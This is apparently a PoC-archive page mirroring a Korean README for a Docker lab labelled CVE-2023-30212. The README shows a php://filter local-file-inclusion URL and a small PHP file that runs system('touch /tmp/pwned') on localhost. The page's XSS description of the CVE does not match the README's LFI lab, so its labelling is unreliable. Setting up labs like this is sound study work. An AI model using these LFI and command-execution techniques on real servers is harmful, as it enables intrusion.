Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2023-30212 PoC — OURPHP 跨站脚本漏洞

Source
Associated Vulnerability
Title: OURPHP 跨站脚本漏洞 (CVE-2023-30212)
Description:OURPHP <= 7.2.0 is vulnerale to Cross Site Scripting (XSS) via /client/manage/ourphp_out.php.
Description
PoC for CVE-2023-30212 using Docker
Readme
# cve-2023-30212
PoC for CVE-2023-30212 using Docker
# CVE-2023-30212 환경 구축 및 PoC 보고서

## 📌 개요

이 보고서는 Vulhub에 없는 CVE-2023-30212 취약점을 대상으로 Docker 기반의 취약한 웹 환경을 직접 구성하고, PoC를 통해 해당 취약점을 입증한 내용을 담고 있습니다.

- **CVE 번호**: CVE-2023-30212
- **취약점 설명**: PHP LFI(Local File Inclusion)을 통한 원격 코드 실행 가능성
- **난이도**: 고급 (Vulhub에 없는 환경을 구성)

---

## 🔧 환경 구성

### 1. Dockerfile 및 docker-compose 구성

- Base image: `php:8.1-apache`
- `/var/www/html` 디렉터리에 `vulnerable.php`와 `malicious.php` 복사
- `8088` 포트로 외부 접속 가능
<img width="685" alt="도커빌드" src="https://github.com/user-attachments/assets/c13673c0-6ff3-4df5-81f0-ab89283b9544" />


### 2. 주요 파일 설명

| 파일명             | 설명                                |
|-------------------|-------------------------------------|
| `vulnerable.php`  | LFI 취약점이 존재하는 PHP 파일         |
| `malicious.php`   | 시스템 명령을 실행하는 악성 PHP 파일   |
| `docker-compose.yml` | 컨테이너 구성을 위한 설정 파일        |
| `Dockerfile`      | 도커 이미지 생성을 위한 설정 파일      |
<img width="491" alt="image" src="https://github.com/user-attachments/assets/5ae18494-a1a1-4c99-bafb-bc33a99bef7f" />
<img width="578" alt="image" src="https://github.com/user-attachments/assets/0c5f27de-e9f5-4910-b50f-1e0e26baca89" />
<img width="518" alt="image" src="https://github.com/user-attachments/assets/f05b71ab-1ecf-47ce-8365-7e40dcec2d61" />
<img width="512" alt="image" src="https://github.com/user-attachments/assets/064f5eb0-90b2-44e3-9d85-753b102b21d2" />
---

## 🚀 취약점 실행 흐름 (PoC)

### 1. 컨테이너 실행

```bash
docker-compose up -d
```

컨테이너 이름: cve-2023-30212-cve-lfi-1

Apache 서버가 실행되며 http://localhost:8088에서 접속 가능

2. LFI 기반 악성 파일 소스 확인
아래 URL을 호출하여 malicious.php의 내용을 base64로 인코딩된 형태로 확인합니다:

```bash
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
```
<img width="508" alt="base64" src="https://github.com/user-attachments/assets/d428e22f-0d05-4c16-94e5-299abf9eb319" />

출력 결과를 디코딩하면 아래 PHP 코드가 확인됩니다:
```php
<?php system("touch /tmp/pwned"); ?>
```
<img width="470" alt="image" src="https://github.com/user-attachments/assets/14cd4d88-bf72-4842-b886-e8a0cba0338c" />

3. 명령어 실행 및 결과 확인
아래 URL을 호출하여 실제로 명령어를 실행합니다:

```bash
http://localhost:8088/malicious.php
```
명령어 실행 후, /tmp/pwned 파일이 생성되어야 합니다.

```bash
docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp
```
결과에 pwned 파일이 존재하면 성공입니다.

<img width="689" alt="pwned파일" src="https://github.com/user-attachments/assets/d2836c65-9a90-4728-91b9-5910ea6fea6c" />

## 결과 요약
php://filter 기반 LFI 취약점을 통해 악성 파일 내용 확인 및 디코딩 성공

system() 함수가 포함된 악성 PHP 호출을 통해 임의 명령어 실행 성공

/tmp/pwned 파일이 생성됨으로써 PoC 검증 완료

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →